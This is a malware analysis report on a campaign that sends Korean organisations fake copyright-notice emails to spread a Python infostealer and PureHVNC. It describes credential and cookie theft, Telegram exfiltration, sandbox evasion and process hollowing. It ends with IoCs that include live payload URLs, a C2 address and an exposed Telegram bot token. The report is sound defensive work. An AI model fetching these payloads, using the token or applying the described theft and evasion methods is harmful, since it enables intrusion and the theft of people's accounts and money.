[May | Malware Analysis Report] PureHVNC Distributed to Korean Organizations through Fake Copyright-Notice Emails

The SANDS Lab Threat Analysis Team selects malware each month and prepares a report.

Through expert analysis, we share malware characteristics, threat trends, and related intelligence to help create a safer cyber environment.

More detailed information on malware is available through our cyber threat intelligence service, <CTX>.

1. Overview

This report details malware analyzed from a malicious email actually received by SANDS Lab in the first half of 2025.

Impersonating a major Korean law firm, the attacker used social engineering to encourage clicking an external link and downloading and executing a malicious archive.

[Figure 1] Malicious email sent by the attacker

The malware uses a complex, multistage execution chain rather than a single payload.

Infection begins with an executable disguised as a PDF, progressing through DLL side-loading, CMD script execution, Python installation, and malicious scripts to a Python infostealer. This collects browser logins, cookies, autofill data, credit cards, Google authentication tokens, Facebook cookies, and other sensitive information, compressing and sending it to an external channel through the Telegram message API. Conditional logic stops execution if it detects an analysis environment or cannot collect information, helping evade detection.

After the Python infostealer, the malware retrieves an encrypted payload and executes it in memory. Multiple decryption and loading layers ultimately load a .NET executable and activate a PureHVNC module. It collects a unique system identifier, installed antivirus products, login accounts, OS details, running-process paths, installed cryptocurrency wallets and 2FA apps, and camera availability. The collected data is serialized in Protobuf¹ format, compressed with GZip, and transmitted to the attacker over a TLS-encrypted channel.

This report analyzes the full sequence from email delivery and archive composition through initial infection, personal information collection and exfiltration, and final payload execution. Network paths, file structures, and execution conditions identified during analysis establish the threat’s characteristics and risks, helping prepare defenses and identify IoCs for similar threats.

¹ Protobuf (Protocol Buffers): A data serialization format developed by Google to encode and transmit structured data efficiently. It is smaller and faster than common text formats and supports multiple languages and platforms.

2. Malware Information

Analysis of an email received by SANDS Lab in late April 2025 identified an infostealer with a multistage payload structure.

The email subject was “공지 지식 재산권 침해 처리 통지서” (Notice of Intellectual Property Infringement Proceedings). Its body impersonated a major Korean law firm’s legal notice and used social engineering to prompt an archive download.

The archive contains multiple executables and configuration files, but default Windows settings that hide extensions and protected OS files expose only “검찰 수사 보고서.exe,” an executable with a PDF icon. Its forged metadata makes it appear to be a PDF: description, product name, and copyright identify Haihaisoft PDF Reader, and the original filename is hpreader.exe, a commercial reader. Written in C++, it looks legitimate but contains malicious logic.

[Figure 2] Properties of 검찰 수사 보고서 속성.exe

The executable side-loads version.dll from the same directory, renames Evidence.docx in the _ directory to .cmd, and executes it.

The CMD script executes Document.pdf, actually a Python 3.10.11 installer disguised as a PDF, installing Python. Users see only an error saying the file cannot be opened. The figure shows the Document.pdf error when 검찰 수사 보고서.exe runs.

[Figure 3] Document.pdf error displayed when 검찰 수사 보고서.exe runs

After installation, the CMD script copies images.png to C:\Users\Public\Windows\Lib and executes it with Python, passing a Telegram bot token as an argument. images.png acts as a loader, registers an autorun entry, parses a Telegram channel page to load an external .pyc payload, and executes an infostealer in memory.

The infostealer collects browser logins, cookies, autofill, card information, Google authentication tokens, Facebook cookies, and other sensitive data, sending them through the Telegram message API.

Another encrypted payload is then loaded and decrypted to drop Qekvcon_crypted.exe, which is injected into a legitimate process through process hollowing. It loads Espbpn.exe, which finally loads Xovzm.dll into memory. Both are .NET assemblies. Xovzm.dll collects detailed system information and sends it externally, and supports plugin downloads to extend remote control or command execution.

[Table 1] Malware component files and roles

The malware combines execution techniques and file formats into a multistage infection chain, disguising executables as legitimate document software. DLL side-loading, process hollowing, external payload loading, and in-memory decryption and execution provide evasion throughout. Separating payloads by function complicates analysis and permits flexible expansion according to attacker intent.

3. Malware Execution Sequence

The attacker distributes malware through emails impersonating a major Korean law firm.

The email includes a purported legal violation notice and an “Investigation Report” button. Clicking it follows multiple HTTP redirects to download 위반사항 조사파일 내 문서.zip. Inside is 검찰 수사 보고서.exe, disguised with a PDF icon. Running it side-loads version.dll from the same directory, renames _\Evidence.docx to .cmd, and executes it.

Evidence.cmd executes Document.pdf, which installs Python 3.10.11. It then copies images.png to C:\Users\Public\Windows\Lib and runs it with the installed Python, passing a Telegram bot token.

images.png is a malicious Python script that parses a Telegram channel’s <meta> tag for a command identifier, then retrieves a text payload through a shortened URL. This .pyc bytecode executes in memory and is called infostealer.py in this report.

[Figure 4] Execution flow (email delivery -> Python infostealer drop)

infostealer.py collects browser logins, cookies, autofill, credit cards, Google tokens, Facebook cookies, public IP, country, and installed antivirus products. It compresses the information into ZIP and sends it through the Telegram message API, then deletes collected files and the archive.

Finally, infostealer.py downloads a specified text payload, decrypts it, and loads and executes the .pyc-format 8fw7.py in memory.

[Figure 5] Execution flow (infostealer.py)

8fw7.py decompresses and decrypts hardcoded data to extract Qekvcon_crypted.exe, injecting it into legitimate RegAsm.exe through process hollowing. The injected file loads the .NET executable Espbpn.exe, which loads final payload Xovzm.dll in memory. The DLL collects antivirus, account, OS, path, cryptocurrency wallet and 2FA app presence, camera availability, and other system details, then transmits them over TLS.

It can then receive attacker commands, extend functionality through plugins, and perform further malicious activity such as remote code execution.

[Figure 6] Execution flow (8fw7.py -> PureHVNC infostealer)

4. Malware Analysis

4.1. Malicious Email Distribution

The attacker sends malicious emails impersonating a major Korean law firm.

The firm’s official website actually warns of ongoing impersonation crimes, confirming exploitation of a real organization’s reputation.

[Figure 7] Bae, Kim & Lee LLC warning popup about impersonation

* Source: Bae, Kim & Lee LLC official website

The email masquerades as a legal violation notice and asks recipients to review case documents. A PDF-style Investigation Report button at the bottom leads through multiple HTTP redirects to a file-sharing site.

[Figure 8] Malicious email body

The redirect chain begins at https://tr.ee/nnXda2, which redirects to https://goo.su/EOTSvI.

It then redirects to https://kiteaero.net?u=https://www.mediafire.com/file/v7a5luie9jbqeui/위반사항+조사파일+내+문서.zip/file, ultimately downloading 위반사항 조사파일 내 문서.zip from Mediafire.

[Figure 9] Multistage redirect flow after clicking the button

The archive resembles genuine legal documentation, encouraging users to open it without suspicion.

Default Windows settings show only 검찰 수사 보고서.exe. Disabling “Hide protected operating system files” reveals vcruntime140.dll, version.dll, and the _ subdirectory.

[Figure 10] Default directory view after extracting the archive

The _ directory contains Document.pdf, Evidence.docx, images.png, and Invoice.pdf, all malicious components disguised as legitimate documents. This social engineering conceals the presence of malicious executables.

[Figure 11] Contents of the hidden directory

4.2. Python-Based Infostealer

4.2.1. Initial Infection and Payload Drop

Running 검찰 수사 보고서.exe side-loads version.dll, renames Evidence.docx to Evidence.cmd, and executes it.

[Figure 12] File renaming using MoveFileW

Evidence.cmd contains the following commands, automatically installing Python and preparing the environment to run malicious scripts.

Document.pdf was identified as an executable with the same SHA-256 hash as the genuine Python installer, disguised to appear as a PDF.

[Figure 13] SHA-256 comparison of Document.pdf and python.exe

Executing images.png with the installed Python performs these malicious actions.

① Persistence through registry registration

The script adds Windows Update Service at HKCU\Software\Microsoft\Windows\CurrentVersion\Run and registers a background Python command.

[Figure 14] Autorun registry entry created by images.png

② Executing external payloads

It parses og:description in a Telegram channel’s metadata to obtain command identifier mt7csjr4, then visits https://is.gd/mt7csjr4. This redirects to https://paste.rs/3P12F to retrieve and execute the payload.

[Figure 15] Command identifier in the Telegram channel

[Figure 16] Obfuscated Python payload on paste.rs

Thus, images.png is more than a loader: it installs Python, configures autorun, and dynamically loads payloads according to external commands. The recovered payload is compiled .pyc bytecode, analyzed through disassembly and tracing. We call it infostealer.py and detail it below.

The module first creates a unique computer-name-based folder under %TEMP% for collected data. For a computer named DESKTOP-EXAMPLE, the path resembles C:\Users<사용자>\AppData\Local\Temp\DESKTOP-EXAMPLE. All data is stored in category-specific subdirectories.

Browser collection is divided between Chromium and Gecko families. Different storage structures and encryption methods require different extraction approaches.

4.2.2. Collecting Browser Cookies

The infostealer searches installed Chromium browsers and extracts cookies. It checks 82 hardcoded browser paths and collects only from those present. The hardcoded list is as follows.

Cookie collection uses up to two parallel threads for different browser paths. It first reads os_crypt.encrypted_key from Local State, base64-decodes it, and uses CryptUnprotectData to decrypt the master key for sensitive-data decryption.

[Figure 17] Master key decryption procedure

After obtaining the key, it starts the browser headlessly and opens a random debugging port from 9000–9999. It obtains a debugger WebSocket address through http://localhost:<포트>/json.

Storage.getCookies then extracts cookies from browser memory in real time, avoiding direct SQLite access and potentially evading detection. It specially processes selected domains: .facebook.com cookies containing c_user are saved separately in Facebook_Cookies.txt.

This value identifies the logged-in Facebook account and can directly support session hijacking and account access. Although ads.google.com cookies are for advertising tracking, the attacker may use them to assess whether the environment is virtual.

[Figure 18] Cookie filtering logic

Cookies are stored under Cookies Browser in the unique %TEMP% folder, organized by browser in files named 브라우저명_프로필명.txt.

Gecko browsers are processed similarly. Of 16 hardcoded browser paths, only those present on the system are targeted. The list follows.

For each profile, it opens cookies.sqlite and extracts domain, path, name, value, security flag, and expiration from moz_cookies, saving them in Cookies Browser. Gecko cookies for .facebook.com with c_user and ads.google.com receive the same special handling. This comprehensively covers major browser families.

4.2.3. Collecting Browser Login Information

It also collects saved login credentials, decrypting them into plaintext.

For Chromium, it finds Login Data or Login Data For Account SQLite files in profile directories and extracts URLs, usernames, and encrypted passwords from logins. Passwords are decrypted with the previously obtained master key.

[Figure 19] Chromium login-data extraction

All_Passwords.txt in the unique %TEMP% folder stores browser, profile, login URL, username, and decrypted password. A separate Word_List.txt contains only passwords.

Gecko browsers store login details as JSON in logins.json.

This holds base64-encoded encrypted usernames and passwords using ASN.1 structures and Triple DES. The attacker obtains key data from browser configuration, derives a decryption key and initialization vector, and performs DES decryption.

Results are saved in All_Passwords.txt and Word_List.txt as with Chromium.

This broadly extracts saved credentials that may access email, social networks, portals, and financial services, enabling further compromise.

4.2.4. Collecting Credit Card Information

The infostealer collects cards saved in browsers.

This operates only on Chromium, searching the Web Data SQLite file. Its credit_cards table contains cardholder, expiry, encrypted card number, and last modification time. SQL queries select the data, and the master key decrypts card numbers.

[Figure 20] Card-data extraction logic

Decrypted data is stored in Credit Cards under the unique %TEMP% folder.

Files named 브라우저명_프로필명.txt contain card name, number, expiry, and addition time. Plaintext card data can cause direct financial harm, including card cloning and unauthorized payment attempts.

4.2.5. Collecting Autofill Information

The infostealer also collects browser autofill information.

This generally includes names, phone numbers, addresses, emails, and company names entered in web forms. It queries Web Data’s autofill table and saves field names and values.

Results are stored in AutoFills under the unique %TEMP% folder as 브라우저명_프로필명.txt. Autofill often persists long-term without users realizing and is mostly plaintext, making real names, addresses, contacts, and employers readily available to attackers.

Gecko offers some autofill, but its storage and security differ and key data is often unencrypted or absent. The infostealer therefore focuses this function on Chromium.

4.2.6. Collecting Google Authentication Tokens

To gain Google account access, it queries token_service in Chromium’s Web Data. This contains service names and encrypted tokens, mainly refresh tokens maintaining Google sessions. It extracts each token and decrypts it with the master key, treating any result other than invalid_refresh_token as valid and saving it.

[Figure 21] Google token extraction logic

Tokens are saved in Google Chrome Token under the unique %TEMP% folder as 브라우저명_프로필명.txt, with service names and plaintext values. They can enable Gmail, Drive, YouTube, and other Google logins, creating a high takeover risk. Widespread integrated Google authentication makes this a key route to broader compromise.

4.2.7. Summarizing Collection and Evaluating Execution Conditions

After collection, it summarizes logins, cookies, credit cards, Google tokens, and Facebook cookies, adding Chromium and Gecko counts for each and using them to assess the environment.

[Figure 22] Collection count aggregation logic

Execution stops under these conditions.

- Both login credentials and autofill entries are absent

- The logged-in account is WDAGUtilityAccount

[Figure 23] Program exit conditions

WDAGUtilityAccount is a special Windows Defender Application Guard account, indicating a likely virtualization-based sandbox. The infostealer immediately exits to evade detection, hinder analysis, and avoid wasting resources, operating fully only in ordinary user environments.

4.2.8. Collecting IP and Location Information

It checks the external IP to identify the victim’s region and network environment.

It requests https://ipwho.is/?output=json and extracts IP, country code, country name, and flag emoji from JSON for the Telegram message. This helps identify geographic distribution, success against targeted countries, and use of VPNs or proxies.

[Figure 24] IP information extraction

If the API fails or raises an exception, it uses N/A and continues. IP information supports detailed environment analysis and attack strategy adjustments.

4.2.9. Extracting Installed Antivirus Information

It checks installed security software for evasion strategy and target selection.

Using Windows Management Instrumentation (WMI), it accesses root\SecurityCenter2 and queries AntiVirus

Product for installed antivirus products.

It collects each displayName for the Telegram message, allowing assessment of defenses and decisions about special bypass code or environments to avoid.

[Figure 25] Antivirus product list extraction

This also distinguishes consumer and enterprise environments and indicates penetration of hardened networks.

4.2.10. Compressing Collected Information

Before transmission, all data is archived with a name containing country code, public IP, and computer name, such as [KR_123.45.67.89] DESKTOP-EXAMPLE.zip. It recursively compresses the unique TEMP folder while preserving its directory structure for cookies, logins, cards, autofill, and Google tokens.

[Figure 26] Archive creation logic

ZIP compression uses an in-memory stream. A comment includes the creation time and https://t.me/LoneNone, apparently unrelated to the actual recipient. It may be a developer tag or builder information; since attacker and developer may differ, it can indicate a signature or tool origin.

[Figure 27] Archive comment

4.2.11. Transmission through Telegram Channels

It sends the compressed data to an external channel through the Telegram message API.

A preset bot token and channel ID upload the archive with system details and collection counts. Before sending, it checks a counter under %PUBLIC%, with a fixed filename generated by UUID5 from a system identifier. The counter increments by 1 for each infection, distinguishing initial infection from reinfection and determining the channel and message format.

[Figure 28] Creating and updating the infection counter

On first infection, it sends system information to CHAT_ID_NEW_NOTIFY, then the archive to CHAT_ID_NEW. On reinfection, only the archive goes to CHAT_ID_RESET, without a message. This allows real-time identification of new infections and separate management of each system’s stolen data.

[Figure 29] Telegram message/archive routing by infection status

The message includes these fields.

[Table 2] Collected information in Telegram messages

After transmission, it removes collected data and related traces.

It recursively deletes the unique TEMP folder, then checks and deletes the archive if present. This conceals infection, hinders analysis, and destroys evidence.

[Figure 30] Deleting the collection folder and archive after transmission

4.2.12. Loading and Executing Additional Payloads

After collection and exfiltration, it accesses https://0x0.st/8fw7.txt and immediately executes the payload in memory. This fileless technique creates no separate executable, aiding antivirus evasion.

[Figure 31] Loading and executing an external text payload

0x0.st is an open platform where anyone can upload files or text with effectively no access or security controls. It lets attackers distribute payloads without operating their own C2, evading infrastructure detection and undermining static-analysis-based detection.

This final step moves beyond information theft, enabling further infection, expanded functions, and persistent control.

4.3. PureHVNC Infostealer

4.3.1. Dropping the Follow-On Payload

After exfiltration, the Python infostealer retrieves https://0x0.st/8fw7.txt. The text payload undergoes base85 decoding, Zlib decompression, and sequential RSA, AES, XOR, and RC4 decryption to produce .pyc bytecode, analyzed here as 8fw7.py.

[Figure 32] 8fw7 payload

8fw7.py contains an encrypted PE and its key. RC4 decryption recovers the PE, which is injected into legitimate RegAsm.exe through process hollowing.

[Figure 33] RegAsm.exe process hollowing

8fw7.py also enumerates processes using tasklist and stops if it finds one of these antivirus processes.

The hollowed PE is Qekvcon_crypted.exe, a .NET executable that uses an XOR key to decrypt another embedded payload and execute it in memory.

The resulting Espbpn.exe loads Xovzm.dll and calls DistributorCreator() in PureHVNC_Lib.Distribution, triggering the final infostealer.

[Figure 34] Xovzm.dll loading code in Espbpn.exe

4.3.2. Configuring Communication

After loading, Xovzm.dll first decodes a hardcoded string.

The base64 string contains GZIP-compressed binary data. Decoding and decompression produce an attacker-defined RoleResponder object in a custom Protobuf-based serialization structure. Deserialized field and structure names are unrelated to their actual roles and contain commands and communication settings.

BuildPublisher contains a base64-encoded X.509 certificate, decoded for TLS communication. It establishes an encrypted channel to conceal traffic from ordinary C2 detection.

[Figure 35] Hardcoded string

The deserialized object contains the following.

[Table 3] Deserialized object fields and values

After loading settings, it connects to ReceiveGroupedReceiver’s IP 107.178.110.167, trying ports 56001–56003 sequentially over TCP. SslStream establishes a TLS channel using the decoded BuildPublisher certificate. All subsequent traffic uses this encrypted channel and the attacker-provided server certificate.

This obscures C2 contents and makes traffic difficult to distinguish from legitimate communication. Information collection then begins.

4.3.3. Creating the System Information Collection Object

Xovzm.dll collects system details into a RoleResponder object after configuring communication.

This custom Protobuf structure categorizes data in consistent fields whose meaningless names do not reflect their function. The stored data is as follows.

[Table 4] Collection object fields and descriptions

SetActiveVerifier stores installed antivirus names.

It queries AntiVirusProduct instances in root\SecurityCenter2 via WMI and joins displayName values with commas. This can support comparison with predefined antivirus evasion targets or decisions about follow-on payload execution.

PlanField records camera availability. Win32_PnPEntity is searched for PNPClass Image or Camera; one or more matches yields true, otherwise or on error false. This identifies hardware or selects targets such as webcam-equipped laptop users.

GetGeneralClient records sensitive applications such as cryptocurrency wallets and Telegram, helping assess digital assets and prioritize theft.

Collection uses the following five methods.

① Detection by browser extension ID

It searches user-data directories of major browsers for hardcoded extension-ID folders, using their existence to determine installation. Targets follow.

② Local desktop application detection

It checks installation or data directories for Electrum, Exodus, Ethereum, Atomic Wallet, and Telegram.

③ Registry-based detection

It checks installation-created registry keys and values for storage paths. If strDataDir exists and points to an actual file, installation is assumed. Targets are Bitcoin-Qt, Dash-Qt, and Litecoin-Qt.

④ Other installation-path detection

Ledger Live and Foxmail use fixed paths or root directories, which are checked directly.

4.3.4. Transmitting Collected Information

It serializes the populated RoleResponder as Protobuf, then GZip-compresses the byte array to minimize transfer size.

It then sends data in one of two ways.

- Data of 1MB or less is sent at once.

- Data over 1MB is streamed in 16KB buffer-sized chunks.

Transfers use SSL over the TCP socket at 107.178.110.167:56001–56003, checking readiness before each chunk. Poll() continuously monitors the socket. If no response arrives within the timeout, transmission stops and exception handling enters recovery.

[Figure 36] Collected-data transmission logic

4.3.5. Receiving and Executing Plugins

It downloads command objects as plugins from C2 in a separate thread, immediately processing and loading socket-received plugins in memory.

First it receives 4 bytes specifying total plugin size, then exactly that many bytes. GZIP decompression and Protobuf deserialization restore a RoleResponder command object, which is dispatched according to command type.

[Figure 37] Plugin download and execution logic

For a normal plugin command, RemoveModularWriter serves as the key to store or retrieve values at HKEY_CURRENT_USER\Software[시스템 고유값].

Stored values encode .NET assemblies, which are deserialized, decompressed, and loaded directly into memory. The first public method of the first public class is invoked automatically with serialized object data, enabling flexible remote code execution. However, no valid plugin data was received in the analysis environment.

C2 always returned the same 22-byte payload for every request. Although GZIP-compressed, decompression yielded no executable commands or meaningful data.

The PureHVNC namespace and structural similarities suggest a connection to that malware family, known for remote control and command execution through plugins such as RemoteDesktop and pluginExecuting.

This sample likely supports such functionality, but plugins did not load during analysis, so it could not be confirmed. C2 commands may be temporarily blocked or enabled only under specific conditions. Full implementation cannot be established from available results, but explicit plugin loading and execution routines mean valid commands could enable advanced malicious activity later.

[Figure 38] PureHVNC string in the Xovzm.dll namespace

5. Collected / Exfiltrated Information

6. Conclusion

This advanced infostealer was distributed to Korean businesses, institutions, and universities through emails impersonating copyright infringement notices. Clicking links leads through multiple redirects to a malicious archive and infection through a PDF-disguised executable. This combination of social engineering and visual disguise is a common way to induce execution, repeatedly observed in attacks in Korea and elsewhere.

Two main modules are involved: a Python infostealer and a PureHVNC infostealer. Python collects browser data, logins, cards, Google tokens, Facebook cookies, and other personal data, ZIP-compresses it, and exfiltrates through Telegram. On first infection, it sends system information to New Log notification, then collected data to New Logs. Reinfection uses only Reset logs. This distinguishes infection stages and categorizes and tracks victims, demonstrating systematic victim management and attack operations.

The channels use hardcoded bot tokens and chat IDs. Analysis of channel messages through the Telegram API revealed numerous exfiltration incidents, predominantly involving Korean companies and institutions, as illustrated below. This quantitatively demonstrates that Korea is the primary target.

[Figure 39] Korean exfiltration incidents as a proportion of the total

The Python-created ZIP comment referenced the Telegram account Lone None, assessed as likely based in Vietnam. The account appears to have shared antivirus scan links to demonstrate its malware’s evasion. The public scanning service accepted user uploads, but the link is currently inaccessible.

Lone None is therefore likely the developer, while the actor targeting Korea may have purchased the malware or operated its distribution separately.

[Figure 40] Lone none Telegram profile referenced in the archive comment

The second stage loads a PureHVNC infostealer in memory. It organizes antivirus, privileges, OS, wallet and authenticator installation, camera presence, and other sensitive details in an attacker-defined Protobuf RoleResponder object and sends them over TLS. Plugin receipt and execution allow dynamic expansion by command, creating potential for long-term system control beyond collection and raising the threat level.

This is a sophisticated campaign combining multistage loading, advanced collection and exfiltration, and plugin execution. Every stage, from social-engineering entry to fileless execution and modular payloads, is designed for evasion, with broad potential impact and scope.

With Korea the primary target, local security teams should strengthen detection of information-stealing malware and prepare proactive responses. Organizations should also raise awareness of copyright-notice emails impersonating real institutions and provide employees with preventive security education.

7. IoC Information

7.1. SHA256 Hashes

- B5183D1BF139037F23AB33C1CC8C2282BA696A266D67F0D34D3C74F6945577A4

- A088131E8EB4E2178789AF49B646AB463CF9A1F48DA51698448206DF21DB5C95

- 9E296EDE93F1A918DC58D3D4699A3210A9671584AB5FE3F34B91438137FC8F08

- 08C7FB6067ACC8AC207D28AB616C9EA5BC0D394956455D6A3EECB73F8010F7A2

- BD115A575E86E61CEA9136C5A2C47E090BA484DC2DEE8B51A34111BB094266D5

- C562DE4573FF41992903901DB8355CEE6E4520943923FE3076BA1B9829ABE6E6

- 36160A8D8C4421B9AFA3223AF27DA6BAE94349C1DB633C9D3B9C37B6AA458D61

- 47D9E719076D75CDC25C014BF07466F2FDE047FBD97C284A23BE559061E7E637

- A18BD16BF8B4C95C930F67516003F0F41180D6BAAB17D20880C1B819C3E104CF

- 5A43DC2BBEFCF785B881A289108CB7F947735BFA55E28B75FB0D3823D00E1678

7.2. IP

- 107.178.110.167:56001 ~ 56003

7.3. URL

- https://tr.ee/nnXda2

- https://goo.su/EOTSvI

- https://kiteaero.net?u=https://www.mediafire.com/file/v7a5luie9jbqeui/위반사항+조사파일+내+문서.zip/file

- https://t.me/MRB_EJ5rzJUt9L_bot

- https://is.gd/mt7csjr4

- https://paste.rs/3P12F

- https://t.me/LoneNone

- https://0x0.st/8fw7.txt

- https://api.telegram.org/bot7414494371:AAHsrQDkPrEVyz9z0RoiRS5fJKI-ihKJpzQ

7.4. Telegram

- BOT TOKEN: 7414494371:AAHsrQDkPrEVyz9z0RoiRS5fJKI-ihKJpzQ

- CHAT ID: - 1002269424055 / New Logs

- CHAT ID: -1002425561453 / Reset Logs

- CHAT ID: - 1002468897237 / New Log Notification